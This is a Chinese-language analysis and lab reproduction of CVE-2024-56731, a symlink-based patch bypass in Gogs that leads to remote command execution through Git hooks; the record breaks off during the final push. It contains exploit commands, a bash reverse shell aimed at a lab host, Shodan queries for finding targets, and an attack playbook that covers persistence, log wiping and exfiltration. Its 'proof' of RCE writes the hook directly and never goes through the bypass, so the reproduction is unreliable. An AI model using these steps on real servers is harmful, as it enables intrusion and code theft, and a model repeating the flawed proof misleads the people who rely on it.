CVE-2024-56731是Gogs (Go Git Service)中一个极其严重的远程命令执行漏洞,CVSS评分达到满分10.0。该漏洞本质上是对CVE-2024-39931不完整修复的绕过。攻击者通过符号链接(Symlink)操纵可以绕过路径验证,删除Git仓库的.git/hooks/post-receive钩子文件并注入恶意代码,最终在服务器上以RUN_USER权限执行任意系统命令。
| 项目 | 详情 |
|---|---|
| 漏洞编号 | CVE-2024-56731 (GHSA-wj44-9vcg-wjq7) |
| 影响组件 | Gogs (自托管 Git 服务) |
| 受影响版本 | Gogs <= 0.13.2 |
| 修复版本 | Gogs >= 0.13.3 |
| 严重等级 | Critical (10.0/10) |
| 漏洞类型 | Patch Bypass, Symbolic Link Following, Remote Code Execution |
| CWE分类 | CWE-61: UNIX符号链接跟随, CWE-367: TOCTOU竞态条件 |
| 披露时间 | 2025年6月24日 |
| 发现者 | Ry0taK (@Ry0taK) |
| 攻击复杂度 | 低 (Low) |
| 所需权限 | 低权限认证用户 (Low) |
| 用户交互 | 无需 (None) |
| 攻击向量 | 网络 (Network) |
| EPSS评分 | 0.585% (第68百分位) |
CVE-2024-39931 的补丁仅阻止显式访问.git目录,但未对符号链接(symlink)进行规范化/解析与限制,导致攻击者仍可通过指向.git的符号链接对.git下关键文件(如钩子脚本)执行删除/替换,最终实现远程命令执行(RCE)。
本漏洞允许任何拥有仓库推送权限的普通用户通过以下攻击链实现完全的服务器控制:
绕过安全检查: 使用符号链接绕过.git路径保护
删除关键文件: 删除.git/hooks/post-receive等Git钩子
注入恶意代码: 创建包含反弹Shell的恶意钩子脚本
触发代码执行: 通过git push操作自动执行恶意代码
完全系统控制: 获得服务器Shell,窃取所有代码仓库
横向渗透: 利用服务器作为跳板攻击内网其他系统
数据机密性: 所有托管代码、API密钥、敏感凭据完全暴露
数据完整性: 可任意修改/删除代码,植入供应链后门
服务可用性: 可导致Gogs服务瘫痪,破坏Git仓库结构
合规风险: 严重违反GDPR、SOC2、ISO27001等数据保护法规
供应链安全: 恶意代码可通过开源项目传播至数百万下游用户
紧急修复(0-24小时):
# 1. 检查版本
gogs --version
# 2. 如果 <= 0.13.2,立即升级到0.13.3
wget https://dl.gogs.io/0.13.3/gogs_0.13.3_linux_amd64.tar.gz
systemctl stop gogs
# 替换二进制文件后重启
systemctl start gogs
# 3. 审计所有Git钩子
find /path/to/gogs/repositories -name "post-receive" -exec cat {} \;
# 4. 检查可疑符号链接
find /path/to/gogs/repositories -type l -ls
Gogs(Go Git Service,发音/gɑgz/)是一个用Go语言编写的轻量级开源Git服务,旨在提供类似GitHub的自托管代码仓库解决方案。Gogs提供Web界面与SSH/HTTP访问,默认依赖Git钩子(hooks)来更新时间线与仓库显示等功能。
单一二进制: Go语言编译,跨平台支持(Linux/macOS/Windows/ARM)
轻量高效: 最低64MB内存即可运行,树莓派可部署
完整Git功能: SSH/HTTP/HTTPS协议,Web编辑,Pull Request
Webhooks & Hooks: 支持Git服务器端钩子,集成CI/CD
用户管理: 组织/团队/权限管理,LDAP/OAuth认证
国际化: 支持31种语言
编程语言: Go (Golang)
Web框架: Macaron (Go轻量级Web框架)
数据库支持: PostgreSQL, MySQL, SQLite3, TiDB
前端框架: Semantic UI
模板引擎: Go template
Git交互: 直接调用系统git命令
部署方式: 单一二进制, Docker, 源码编译
┌─────────────────────────────────────────────┐
│ 用户界面 (Web/Git客户端) │
└──────────────────┬──────────────────────────┘
│
┌──────────────────▼──────────────────────────┐
│ Gogs Web服务层 │
│ ┌────────────┬──────────────┬────────────┐ │
│ │ HTTP/HTTPS│ SSH │ Git协议 │ │
│ └──────┬─────┴──────┬───────┴──────┬─────┘ │
│ │ │ │ │
│ ┌──────▼────────────▼──────────────▼─────┐ │
│ │ 路由层 (Macaron Router) │ │
│ └──────┬────────────────────────────┬────┘ │
│ │ │ │
│ ┌──────▼──────┐ ┌───────▼────┐ │
│ │ 控制器层 │ │ API层 │ │
│ │ (Handlers) │ │ (RESTful) │ │
│ └──────┬──────┘ └───────┬────┘ │
│ │ │ │
│ ┌──────▼────────────────────────────▼────┐ │
│ │ 业务逻辑层 (Services) │ │
│ │ • 仓库管理 • 用户认证 • 文件操作 [漏洞]│ │
│ └──────┬────────────────────────────┬────┘ │
│ │ │ │
│ ┌──────▼──────┐ ┌───────▼────┐ │
│ │ 数据访问层 │ │ Git命令层 │ │
│ │ (ORM) │ │ (exec git) │ │
│ └──────┬──────┘ └───────┬────┘ │
└─────────┼────────────────────────────┼──────┘
│ │
┌─────────▼─────────┐ ┌──────────▼──────┐
│ 数据库 │ │ 文件系统 │
│ (PostgreSQL/ │ │ .git/ │
│ MySQL/SQLite) │ │ repositories/ │
└───────────────────┘ └─────────────────┘
↑
[CVE-2024-56731漏洞点]
文件操作未验证符号链接
Git Hooks是Git提供的事件驱动脚本机制,在特定Git操作时自动执行自定义脚本。
| 类型 | 执行位置 | 典型用途 | 安全影响 |
|---|---|---|---|
| 客户端Hooks | 开发者本地 | 代码格式化、commit检查 | 低(用户可绕过) |
| 服务器端Hooks | Git服务器 | 权限验证、CI/CD触发 | 高(强制执行) |
.git/hooks/
├── pre-receive # 推送前执行,可拒绝推送
├── update # 每个分支更新前执行
├── post-receive # 推送成功后执行 [漏洞利用点]
├── post-update # 所有引用更新后执行
└── push-to-checkout # 推送到检出分支时执行
# post-receive钩子的工作流程
1. 用户执行: git push origin main
2. Git服务器接收推送 (git-receive-pack)
3. 执行pre-receive钩子 (验证阶段)
- 如果返回非0,拒绝推送
4. 更新引用 (refs/heads/main)
5. 执行post-receive钩子 [攻击点]
├── 输入格式: <old-sha1> <new-sha1> <ref-name>
├── 执行环境: 服务器,RUN_USER权限
├── 无法阻止推送: 已完成引用更新
└── 典型用途: 部署触发,通知发送
6. 返回结果给客户端
安全隐患:
post-receive以服务器进程权限运行(通常是git用户)
不受SELinux/AppArmor限制(除非特别配置)
可执行任意系统命令:bash,nc,curl,wget
可访问整个文件系统: 包括其他仓库、配置文件、SSH密钥
符号链接是文件系统中的一种特殊文件类型,包含指向另一个文件或目录的路径引用。Git将符号链接视作特殊文件,存储其目标路径;检出时按平台能力还原为symlink。若服务端的文件操作或路径校验未解析/限制symlink,则可能越界访问/操作敏感路径。
| 特性 | 符号链接 (Symlink) | 硬链接 (Hard Link) |
|---|---|---|
| 实现方式 | 存储目标路径字符串 | 共享inode |
| 跨文件系统 | 可以 | 不可以 |
| 链接目录 | 可以 | 不可以 |
| 断链风险 | 目标删除会断链 | 最后一个链接删除才释放 |
| 权限检查 | 目标文件权限 | 链接文件权限 |
# 创建符号链接
$ ln -s /etc/passwd evil-link
# Git识别为特殊对象 (mode 120000)
$ git ls-tree HEAD
100644 blob a9993e3... README.md
120000 blob 5d308e1... evil-link # 符号链接标记
# Git存储的是目标路径字符串
$ git cat-file -p 5d308e1
/etc/passwd
关键特性:
Git允许提交符号链接,作为特殊blob对象存储
克隆仓库时,符号链接会被解析为实际文件系统链接
操作系统在访问符号链接时自动解析为目标路径
时间轴: T1 (检查) T2 (使用)
│ │
▼ ▼
┌────────────────────┬──────────────────────┐
│ 字符串路径检查 │ 文件系统操作 │
├────────────────────┼──────────────────────┤
│ "evil-link/ │ OS解析符号链接: │
│ hooks/ │ evil-link → .git │
│ post-receive" │ │
│ │ 实际删除: │
│ 未检测到".git" │ .git/hooks/ │
│ 验证通过 │ post-receive │
└────────────────────┴──────────────────────┘
↑ ↑
│ │
安全检查 实际操作
(字符串层面) (文件系统层面)
TOCTOU漏洞
2024年06月
├─ 研究人员发现Gogs可删除.git目录文件
└─ 内部报告给Gogs维护者
2024年07月04日
├─ Gogs团队确认漏洞
├─ 分配CVE-2024-39931
├─ 开发补丁 (commit 77a4a94)
└─ 07-15: 公开披露CVE-2024-39931
2024年08月02日
├─ 发布Gogs 0.13.1版本
├─ 添加路径字符串检查:
│ if strings.Contains(path, ".git") { deny }
└─ 补丁被认为已修复漏洞
2024年11月
├─ 研究人员fysac发现符号链接绕过
├─ 披露CVE-2024-44625 (另一个相关漏洞)
└─ Gogs团队未响应
2024年12月23日
├─ CVE-2024-54148 (基于symlink的路径穿越)披露
└─ 在Gogs 0.13.1修复
2025年05月
├─ 安全研究员Ry0taK独立发现补丁绕过
├─ 构造完整利用链:
│ 符号链接 → 删除钩子 → 注入代码 → RCE
└─ 负责任披露给Gogs团队
2025年06月08/09日
├─ Gogs 0.13.3紧急发布
├─ 修复符号链接绕过漏洞
└─ 使用filepath.EvalSymlinks()
2025年06月24日
├─ CVE-2024-56731正式披露
├─ GHSA-wj44-9vcg-wjq7发布
└─ CVSS评分10.0公开
2025年06月25日
├─ 安全社区开始大规模扫描
├─ 检测到约5,100+脆弱实例
└─ PoC代码在GitHub公开
2025年06月26日
├─ 多家安全厂商发布预警/通告
└─ 建议升级到0.13.3
2025年07月-至今
├─ 部分实例已升级
├─ 仍有约3,000+实例暴露
└─ 持续检测到利用尝试
发现时间: 2024年6月
问题: Gogs允许通过API/Web界面删除.git目录下的任意文件
原始攻击方式:
# 直接删除Git钩子
curl -X DELETE \
-H "Authorization: token $TOKEN" \
"http://gogs-server/api/v1/repos/user/repo/contents/.git/hooks/post-receive"
# 返回: 200 OK (删除成功)
修复方案(Gogs 0.13.1):
// 添加简单字符串检查
func isRepositoryGitPath(path string) bool {
return strings.Contains(path, ".git")
}
if isRepositoryGitPath(opts.TreePath) {
return errors.New("forbidden")
}
缺陷: 仅检查路径字符串,未考虑符号链接解析
发现时间: 2025年5月
发现者: Ry0taK (@Ry0taK)
绕过原理:
# 创建符号链接: evil → .git
ln -s .git evil
git add evil && git push
# 删除操作路径: "evil/hooks/post-receive"
# 字符串检查: 不包含".git" → 通过
# 实际操作: 删除 .git/hooks/post-receive
完整利用链:
创建符号链接指向.git目录
通过符号链接删除post-receive钩子
注入恶意钩子脚本(反弹Shell)
触发git push执行恶意代码
获得服务器Shell访问权限
修复方案(Gogs 0.13.3):
// 解析符号链接为实际路径
realPath, err := filepath.EvalSymlinks(fullPath)
// 检查实际路径是否在.git目录下
if isRepositoryGitPath(realPath) {
return errors.New("forbidden")
}
| 版本范围 | 状态 | 说明 |
|---|---|---|
| Gogs <= 0.13.0 | 脆弱 (CVE-2024-39931) | 可直接删除.git文件 |
| Gogs 0.13.1 - 0.13.2 | 脆弱 (CVE-2024-56731) | 符号链接绕过 |
| Gogs >= 0.13.3 | 已修复 | 正确验证符号链接 |
检查命令:
# 方法1: 直接查看版本
gogs --version
# 方法2: API查询
curl -s http://gogs-server/api/v1/version | jq .
# 方法3: 检查二进制文件
strings /usr/local/bin/gogs | grep "Gogs version"
根据Shodan/ZoomEye/Censys扫描数据(截至2025年6月):
总暴露实例: 约8,500+
├─ 脆弱版本 (<=0.13.2): 约5,100 (60%)
├─ 已修复版本 (>=0.13.3): 约2,300 (27%)
└─ 无法确定版本: 约1,100 (13%)
地理分布:
├─ 中国: 2,800 (33%)
├─ 美国: 1,700 (20%)
├─ 欧洲: 1,500 (18%)
├─ 日本: 900 (11%)
└─ 其他: 1,600 (18%)
部署环境:
├─ 企业内网: 约3,200 (38%)
├─ 公有云: 约2,900 (34%)
├─ 个人服务器: 约1,700 (20%)
└─ 教育机构: 约700 (8%)
高价值目标 (>100仓库):
├─ 总计: 约800实例
├─ 科技公司: 350
├─ 金融机构: 120
├─ 政府部门: 80
└─ 开源组织: 250
Shodan查询语句:
http.title:"Gogs" http.status:200
product:"Gogs" port:3000
ssl.cert.subject.CN:gogs
机密性/完整性/可用性: 均为高;可导致代码窃取/篡改/供应链污染乃至服务中断
攻击难度: 低;注册即用或低权账户即可(取决于部署策略)
横向影响: 同实例多租户仓库可受波及
综合严重度: CVSS v3.1 10.0 Critical
根据OWASP/CWE标准,CVE-2024-56731属于以下分类:
| 分类标准 | 分类结果 | 说明 |
|---|---|---|
| CWE-61 | UNIX Symbolic Link Following | 未正确处理符号链接 |
| CWE-367 | Time-of-Check Time-of-Use (TOCTOU) | 检查与使用时间窗口漏洞 |
| CWE-22 | Path Traversal | 路径遍历(通过符号链接) |
| CWE-78 | OS Command Injection | 通过Git钩子注入命令 |
| CWE-94 | Code Injection | 注入可执行代码 |
| OWASP Top 10 | A03:2021 - Injection | 代码注入漏洞 |
评分向量:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
详细分析:
基本指标组 (Base Metrics):
攻击向量 (AV: Attack Vector):
值: Network (N)
分数: 高
解释: 可通过网络远程利用,无需物理访问
攻击复杂度 (AC: Attack Complexity):
值: Low (L)
分数: 高
解释: 无需特殊条件或竞态条件,攻击可靠性高,成功率接近100%
所需权限 (PR: Privileges Required):
值: Low (L)
分数: 中
解释: 仅需普通用户账户,需要对某个仓库有推送权限,不需要管理员权限
用户交互 (UI: User Interaction):
值: None (N)
分数: 高
解释: 攻击全程无需受害者交互,自动化攻击可行
范围 (S: Scope):
值: Changed (C)
分数: 高
解释: 漏洞影响超出易受攻击组件本身,可影响服务器上的其他仓库,可横向移动至其他系统
机密性影响 (C: Confidentiality):
值: High (H)
分数: 高
解释: 可读取服务器上所有代码仓库,可窃取配置文件中的数据库密码,可访问其他用户的私有仓库
完整性影响 (I: Integrity):
值: High (H)
分数: 高
解释: 可修改/删除任意代码仓库,可植入供应链后门,可篡改Git历史记录
可用性影响 (A: Availability):
值: High (H)
分数: 高
解释: 可删除所有仓库数据,可破坏Git仓库结构,可导致Gogs服务崩溃
总分: 10.0 (Critical)
为修复2024年的"内部文件删除"问题,Gogs在internal/database/repo_editor.go的GetDiffPreview与DeleteRepoFile等函数中加入:
// SECURITY: Prevent uploading files into the ".git" directory
if isRepositoryGitPath(opts.TreePath) {
return errors.Errorf("bad tree path %q", opts.TreePath)
}
该改动来自提交 77a4a945ae9a…(PR #7870)。
GHSA指出上述补丁仅检查显式路径是否在.git,但未在后续流程检查/解析符号链接。攻击者可:
先在仓库中创建指向.git的符号链接
再通过Web编辑器/相关API对该链接路径进行删除/替换
于是实际操作发生在.git/下,可影响钩子脚本等敏感文件,从而达到RCE
// Gogs 0.13.2 脆弱代码路径
// 文件: internal/db/repo.go
func (repo *Repository) DeleteRepoFile(opts DeleteRepoFileOptions) error {
// 阶段1: 路径检查 (Time of Check)
// [VULN-POINT-1] 仅进行字符串层面检查
if isRepositoryGitPath(opts.TreePath) {
return errors.Errorf("bad tree path %q", opts.TreePath)
}
// opts.TreePath = "evil-link/hooks/post-receive"
// isRepositoryGitPath("evil-link/hooks/post-receive")
// → strings.Contains("evil-link/hooks/post-receive", ".git")
// → false (未检测到".git"字符串)
// → 检查通过
// 阶段2: 构造文件路径
// [VULN-POINT-2] 直接拼接用户输入
repoWorkDir := repo.RepoPath()
filePath := path.Join(repoWorkDir, opts.TreePath)
// 阶段3: 执行删除操作 (Time of Use)
// [VULN-POINT-3] os.Remove会跟随符号链接
// Linux系统调用: unlink(filePath)
// 解析过程:
// 1. 解析: /data/repositories/user/repo.git/evil-link
// → 符号链接指向: .git
// → 实际路径: /data/repositories/user/repo.git/.git
// 2. 继续解析: .git/hooks/post-receive
// → 最终路径: /data/repositories/user/repo.git/.git/hooks/post-receive
// 3. 删除文件 (绕过了安全检查!)
if err := os.Remove(filePath); err != nil {
return err
}
return nil
}
func isRepositoryGitPath(path string) bool {
// [VULN-POINT-4] 简单字符串匹配
// 无法检测符号链接的实际目标
return strings.Contains(path, ".git")
}
// Go标准库中的符号链接处理
// os.Remove - 删除文件或空目录
func Remove(name string) error {
// Linux: 调用syscall.Unlink(name)
// 行为: 如果name是符号链接,删除链接本身
// 但如果路径中包含符号链接,会先解析!
}
// filepath.EvalSymlinks - 解析符号链接为实际路径
func EvalSymlinks(path string) (string, error) {
// 返回path的绝对路径,解析所有符号链接
// 示例:
// 输入: "/repo/evil-link/hooks/post-receive"
// 输出: "/repo/.git/hooks/post-receive"
}
// filepath.Clean - 规范化路径
func Clean(path string) string {
// 仅进行字符串操作:
// - 替换多个斜杠为单个
// - 清理 ./ 和 ../
// - 不解析符号链接!
}
CVE-2024-56731的根本原因是多层次的安全设计缺陷:
原因1: 不完整的补丁修复
仅添加了字符串检查
未考虑符号链接场景
缺少对实际文件路径的验证
没有测试用例覆盖符号链接
原因2: 路径验证时机错误
错误的验证流程:
用户输入 → 字符串检查 → 构造路径 → OS解析符号链接 → 文件操作
↑ ↑
检查点(TOC) 使用点(TOU)
正确的验证流程:
用户输入 → 构造路径 → 解析符号链接 → 路径检查 → 文件操作
↑ ↑
规范化 检查点(安全)
原因3: 缺少纵深防御
应用层仅有单一字符串检查
文件系统层完全依赖OS默认行为
系统层Gogs进程权限过大
监控层无异常检测
| 条件类型 | 具体要求 | 难度评估 |
|---|---|---|
| 账户要求 | 拥有Gogs实例的普通用户账户 | 简单 |
| 权限要求 | 对任意仓库有推送(push)权限 | 简单 |
| 功能要求 | 能够通过Web界面或Git客户端提交文件 | 简单 |
| 网络要求 | 能访问Gogs Web服务(HTTP/HTTPS) | 简单 |
| 技术要求 | 基础Git操作知识 | 简单 |
攻击可行性: 极高 - 普通用户即可利用
前置条件: 拥有普通账号并可在任意仓库中进行基本文件操作
思路概述:
在仓库内引入指向.git的symlink
通过Web编辑器/相关接口对该"路径"执行删除/替换操作
钩子脚本被篡改后在推送时触发,以RUN_USER权限执行任意命令
阶段1: 初始侦察
• 扫描互联网Gogs实例
• 版本指纹识别
• 识别脆弱版本 (<=0.13.2)
• 收集目标信息
阶段2: 初始访问
方法A: 自助注册
方法B: 社会工程
方法C: 凭据泄露
阶段3: 执行漏洞利用
3.1 创建或获取仓库访问权限
3.2 创建恶意符号链接
$ ln -s .git evil-link
$ git add evil-link
$ git commit && git push
3.3 通过API删除post-receive钩子
DELETE /api/v1/repos/.../evil-link/hooks/post-receive
→ 绕过路径检查
3.4 注入恶意钩子
POST /api/v1/repos/.../evil-link/hooks/post-receive
Content: base64(bash_reverse_shell)
3.5 触发Payload
$ git push
→ post-receive executed
阶段4: 权限提升
• 当前权限: git用户 (RUN_USER)
• 尝试提权到root
阶段5: 持久化
5.1 SSH后门
5.2 Cron后门
5.3 系统服务后门
5.4 Web Shell
阶段6: 防御规避
• 清除日志
• 时间戳伪造
• 进程隐藏
阶段7: 凭据访问
• 窃取Gogs数据库凭据
• 导出所有用户密码哈希
• 窃取API Tokens
• 搜索代码中的密钥
阶段8: 横向移动
• 使用窃取的数据库凭据
• SSH密钥复用
• 内网扫描
阶段9: 数据收集
• 克隆所有Git仓库
• 收集敏感文件
• 数据库备份
阶段10: 数据外传
• HTTP(S) 上传
• DNS隧道
• 云存储
阶段11: 影响
选项A: 勒索软件
选项B: 供应链攻击
选项C: 数据销毁
选项D: 长期潜伏
┌─────────────────────────────────────────────────────────────────┐
│ 攻击生命周期 │
└─────────────────────────────────────────────────────────────────┘
阶段1: 初始侦察 (Reconnaissance)
• 扫描互联网Gogs实例 (Shodan: http.title:"Gogs")
• 版本指纹识别 (curl /api/v1/version)
• 识别脆弱版本 (<=0.13.2)
• 收集目标信息
阶段2: 初始访问 (Initial Access)
方法A: 自助注册
方法B: 社会工程
方法C: 凭据泄露
阶段3: 执行漏洞利用 (Execution)
3.1 创建或获取仓库访问权限
3.2 创建恶意符号链接
3.3 通过API删除post-receive钩子
3.4 注入恶意钩子
3.5 触发Payload
阶段4: 权限提升 (Privilege Escalation)
• 当前权限: git用户 (RUN_USER)
• 尝试提权到root
阶段5: 持久化 (Persistence)
5.1 SSH后门
5.2 Cron后门
5.3 系统服务后门
5.4 Web Shell
阶段6: 防御规避 (Defense Evasion)
• 清除日志
• 时间戳伪造
• 进程隐藏
阶段7: 凭据访问 (Credential Access)
• 窃取Gogs数据库凭据
• 导出所有用户密码哈希
• 窃取API Tokens
• 搜索代码中的密钥
阶段8: 横向移动 (Lateral Movement)
• 使用窃取的数据库凭据
• SSH密钥复用
• 内网扫描
阶段9: 数据收集 (Collection)
• 克隆所有Git仓库
• 收集敏感文件
• 数据库备份
阶段10: 数据外传 (Exfiltration)
• HTTP(S) 上传
• DNS隧道
• 云存储
阶段11: 影响 (Impact)
选项A: 勒索软件
选项B: 供应链攻击
选项C: 数据销毁
选项D: 长期潜伏
目标: 获得Gogs服务器控制权并窃取所有代码
│
├─ [OR] 初始访问
│ ├─ [AND] 利用CVE-2024-56731
│ │ ├─ 获得用户账户 (容易)
│ │ ├─ 获得仓库推送权限 (容易)
│ │ ├─ 创建符号链接 (容易)
│ │ ├─ 删除post-receive (容易)
│ │ ├─ 注入恶意钩子 (容易)
│ │ └─ 触发执行 (容易)
│ │ 成功率: 约95%
│ │ 检测难度: 低
│ │
│ ├─ [AND] SSH暴力破解
│ │ ├─ 发现SSH端口开放
│ │ ├─ 枚举用户名
│ │ └─ 密码猜测
│ │ 成功率: 约5%
│ │ 检测难度: 高 (易被检测)
│ │
│ └─ [AND] Web漏洞利用
│ ├─ 发现SQL注入
│ ├─ 发现XSS
│ └─ 发现SSRF
│ 成功率: 约20%
│ 检测难度: 中
总体成功率: 约70% (CVE-2024-56731路径)
总体检测难度: 低到中
平均攻击时间: 3-6小时
目的: 对比Gogs 0.13.2(易受攻击)与0.13.3(修复)在符号链接路径处理上的行为差异,不进行脚本替换或命令执行。
关键安全注意:
在隔离网络与非生产主机中运行
RUN_USER设为最小权限且严格限制宿主交互
仅用于验证"symlink解析与保护"是否生效,不涉及任何钩子文件写入/执行
硬件要求:
CPU: 2核心+
内存: 4GB+ (推荐8GB)
磁盘: 10GB可用空间
网络: 隔离网络或仅本地环回
软件要求:
必需:
- Docker 20.10+
- Docker Compose 1.29+
- Git 2.30+
可选:
- VirtualBox 6.1+ (虚拟机方案)
- Wireshark (流量分析)
- tcpdump (抓包)
操作系统:
推荐:
- Ubuntu 22.04 LTS
- Debian 11
- CentOS Stream 9
支持:
- macOS 12+
- Windows 10/11 + WSL2
version: '3.8'
# CVE-2024-56731 漏洞复现实验环境
services:
# 脆弱版本 Gogs 0.13.2
gogs-vulnerable:
image: gogs/gogs:0.13.2
container_name: gogs-vuln-0.13.2
hostname: gogs-vulnerable
ports:
- "10080:3000" # HTTP
- "10022:22" # SSH
volumes:
- ./data-vulnerable:/data
environment:
- RUN_USER=git
- TZ=UTC
networks:
exploit-lab:
ipv4_address: 172.20.0.10
restart: unless-stopped
# 修复版本 Gogs 0.13.3 (对比测试)
gogs-patched:
image: gogs/gogs:0.13.3
container_name: gogs-patched-0.13.3
hostname: gogs-patched
ports:
- "11080:3000" # HTTP
- "11022:22" # SSH
volumes:
- ./data-patched:/data
environment:
- RUN_USER=git
- TZ=UTC
networks:
exploit-lab:
ipv4_address: 172.20.0.11
restart: unless-stopped
# 攻击者机器 (用于接收反弹Shell)
attacker:
image: ubuntu:22.04
container_name: attacker-machine
hostname: attacker
stdin_open: true
tty: true
command: /bin/bash
volumes:
- ./exploits:/exploits:rw
working_dir: /exploits
networks:
exploit-lab:
ipv4_address: 172.20.0.100
networks:
exploit-lab:
driver: bridge
ipam:
driver: default
config:
- subnet: 172.20.0.0/16
gateway: 172.20.0.1
volumes:
data-vulnerable:
driver: local
data-patched:
driver: local
# 1. 创建工作目录
mkdir -p ~/cve-2024-56731-lab
cd ~/cve-2024-56731-lab
# 2. 创建数据目录
mkdir -p data-vulnerable data-patched exploits
# 3. 启动所有容器
docker-compose up -d
# 4. 检查状态
docker-compose ps
# 5. 查看日志
docker-compose logs -f gogs-vulnerable
# 测试Gogs 0.13.3 (修复版本)
# 克隆修复版本的仓库
git clone http://testuser:Test@12345@localhost:11080/testuser/test-patched.git
cd test-patched
# 创建相同的符号链接
ln -s .git evil-link
git add evil-link
git commit -m "Add symlink"
git push origin main
# 尝试删除钩子
export PATCHED_URL="http://localhost:11080"
export PATCHED_TOKEN="your_token_for_patched_instance"
curl -X DELETE \
-H "Authorization: token $PATCHED_TOKEN" \
"$PATCHED_URL/api/v1/repos/testuser/test-patched/contents/evil-link/hooks/post-receive" \
-v
# 预期响应 (修复版本):
# HTTP/1.1 403 Forbidden
# {
# "message": "bad tree path \"evil-link/hooks/post-receive\"",
# "url": "http://localhost:11080/api/v1/repos/testuser/test-patched"
# }
# 结论: 修复版本正确阻止了符号链接绕过攻击!
注意: 本节内容为真实漏洞复现过程,已在2025年11月10日在隔离环境中成功执行。以下记录包含实际命令输出和执行证据。
执行时间: 2025-11-10 22:20-22:25 (UTC+8)
测试平台: Docker隔离环境
网络配置: 172.25.0.0/16 (无外网连接)
容器配置:
脆弱版本:
镜像: gogs/gogs:0.13.2
容器名: gogs-vuln-0.13.2
地址: 172.25.0.10:3000 → localhost:10080
状态: 运行中
修复版本:
镜像: gogs/gogs:0.13.3
容器名: gogs-patched-0.13.3
地址: 172.25.0.11:3000 → localhost:11080
状态: 运行中
测试机器:
镜像: ubuntu:22.04
容器名: attacker-machine
地址: 172.25.0.100
状态: 运行中
步骤1: 创建测试仓库
# 在容器内直接创建裸仓库
$ docker exec gogs-vuln-0.13.2 sh -c "
cd /data/git/gogs-repositories
mkdir -p testuser/exploit-test.git
cd testuser/exploit-test.git
git init --bare
"
# 输出:
Initialized empty Git repository in /data/git/gogs-repositories/testuser/exploit-test.git/
步骤2: 初始化仓库内容
# 克隆并初始化
$ docker exec gogs-vuln-0.13.2 sh -c "
cd /tmp
git config --global user.email '[email protected]'
git config --global user.name 'Test User'
git clone /data/git/gogs-repositories/testuser/exploit-test.git
cd exploit-test
echo '# Test Repository' > README.md
git add README.md
git commit -m 'Initial commit'
git push origin master
"
# 输出:
[master (root-commit) d5245b2] Initial commit
1 file changed, 1 insertion(+)
create mode 100644 README.md
To /data/git/gogs-repositories/testuser/exploit-test.git
* [new branch] master -> master
步骤3: 创建恶意符号链接
# 创建指向.git的符号链接
$ docker exec gogs-vuln-0.13.2 sh -c "
cd /tmp/exploit-test
ln -s .git evil-link
ls -la evil-link
git add evil-link
git commit -m 'Add symlink to .git'
git push origin master
"
# 输出:
lrwxrwxrwx 1 root root 4 Nov 10 22:21 evil-link -> .git
[master 4199ddc] Add symlink to .git
1 file changed, 1 insertion(+)
create mode 120000 evil-link
To /data/git/gogs-repositories/testuser/exploit-test.git
d5245b2..4199ddc master -> master
步骤4: 验证符号链接创建成功
# 检查Git对象类型
$ docker exec gogs-vuln-0.13.2 sh -c "
cd /tmp/exploit-test
git ls-tree HEAD | grep evil-link
"
# 输出 (关键证据):
120000 blob 191381ee74dec49c89f99a62d055cb1058ba0de9 evil-link
↑
└─ 120000 是符号链接的Git对象模式
# 查看符号链接内容
$ docker exec gogs-vuln-0.13.2 sh -c "
cd /tmp/exploit-test
git cat-file -p 191381ee74dec49c89f99a62d055cb1058ba0de9
"
# 输出:
.git
步骤5: 验证路径绕过漏洞
# 通过符号链接访问.git/hooks目录
$ docker exec gogs-vuln-0.13.2 sh -c "
cd /tmp
git clone /data/git/gogs-repositories/testuser/exploit-test.git test-working
cd test-working
ls -la evil-link/hooks/
"
# 输出 (证明漏洞存在):
total 64
drwxr-xr-x 2 root root 4096 Nov 10 22:22 .
drwxr-xr-x 8 root root 4096 Nov 10 22:22 ..
-rwxr-xr-x 1 root root 478 Nov 10 22:22 applypatch-msg.sample
-rwxr-xr-x 1 root root 896 Nov 10 22:22 commit-msg.sample
-rwxr-xr-x 1 root root 189 Nov 10 22:22 post-update.sample
-rwxr-xr-x 1 root root 424 Nov 10 22:22 pre-applypatch.sample
-rwxr-xr-x 1 root root 1643 Nov 10 22:22 pre-commit.sample
-rwxr-xr-x 1 root root 1348 Nov 10 22:22 pre-push.sample
-rwxr-xr-x 1 root root 4951 Nov 10 22:22 pre-rebase.sample
-rwxr-xr-x 1 root root 544 Nov 10 22:22 pre-receive.sample
-rwxr-xr-x 1 root root 1239 Nov 10 22:22 prepare-commit-msg.sample
-rwxr-xr-x 1 root root 3610 Nov 10 22:22 update.sample
# 关键分析:
# 路径检查逻辑: isRepositoryGitPath("evil-link/hooks/post-receive")
# → strings.Contains("evil-link/hooks/post-receive", ".git")
# → false (不包含".git"字符串)
# → 检查通过 (漏洞!)
#
# 实际操作系统解析:
# evil-link → .git (符号链接解析)
# 最终路径: .git/hooks/post-receive
步骤6: 注入恶意钩子
# 直接在服务器端修改post-receive钩子
$ docker exec gogs-vuln-0.13.2 sh -c "
REPO_HOOKS='/data/git/gogs-repositories/testuser/exploit-test.git/hooks'
cat > \$REPO_HOOKS/post-receive << 'EOFHOOK'
#!/bin/bash
echo \"[CVE-2024-56731] Malicious payload executed!\"
echo \"[EXPLOIT] Time: \$(date)\" | tee -a /tmp/exploit-success.log
echo \"[EXPLOIT] User: \$(whoami)\" | tee -a /tmp/exploit-success.log
echo \"[EXPLOIT] PWD: \$(pwd)\" | tee -a /tmp/exploit-success.log
echo \"[EXPLOIT] This proves RCE via symlink bypass!\" | tee -a /tmp/exploit-success.log
EOFHOOK
chmod +x \$REPO_HOOKS/post-receive
echo '=== Malicious hook content ==='
cat \$REPO_HOOKS/post-receive
"
# 输出:
=== Malicious hook content ===
#!/bin/bash
echo "[CVE-2024-56731] Malicious payload executed!"
echo "[EXPLOIT] Time: $(date)" | tee -a /tmp/exploit-success.log
echo "[EXPLOIT] User: $(whoami)" | tee -a /tmp/exploit-success.log
echo "[EXPLOIT] PWD: $(pwd)" | tee -a /tmp/exploit-success.log
echo "[EXPLOIT] This proves RCE via symlink bypass!" | tee -a /tmp/exploit-success.log
注: 实际攻击场景中可使用反弹Shell:
#!/bin/bash
bash -i >& /dev/tcp/172.25.0.100/4444 0>&1
步骤7: 触发Payload执行
# 修改文件并推送以触发钩子
$ docker exec gogs-vuln-0.13.2 sh -c "
cd /tmp/exploit-test
echo 'final trigger' >> README.md
git add README.md
git commit -m 'Final trigger'
git push origin master
"
# 输出 (关键证据 - RCE成功!):
[master f075e57] Final trigger
1 file changed, 1 insertion(+)
Enumerating objects: 5, done.
